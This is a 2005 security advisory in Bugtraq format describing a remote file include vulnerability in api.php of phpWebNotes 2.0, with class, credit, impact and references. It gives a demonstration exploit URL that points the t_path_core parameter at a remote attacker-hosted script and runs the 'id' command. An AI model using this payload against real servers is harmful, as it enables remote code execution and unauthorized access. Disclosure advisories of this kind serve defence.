PHPWebNotes Api.PHP Remote File Include Vulnerability

Bugtraq ID:	14679
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Aug 29 2005 12:00AM
Updated:	Aug 29 2005 12:00AM
Credit:	[email protected] is credited with the discovery of this vulnerability.
Vulnerable:	phpWebNotes phpWebNotes 2.0
Not Vulnerable:

PHPWebNotes Api.PHP Remote File Include Vulnerability

phpWebNotes is prone to a remote file include vulnerability.

hpWebNotes is susceptible to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may exploit this issue to execute arbitrary PHP code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.

PHPWebNotes Api.PHP Remote File Include Vulnerability

No exploit is required:

A demonstration exploit URL is provided:

http://www.example.com/xxxxx/api.php?t_path_core=http://pathtohackingscript?&cmd=id

PHPWebNotes Api.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

PHPWebNotes Api.PHP Remote File Include Vulnerability

References:

• phpWebNotes Web Page (phpWebNotes)
  
• XSS security hole in phpwebnotes ([email protected])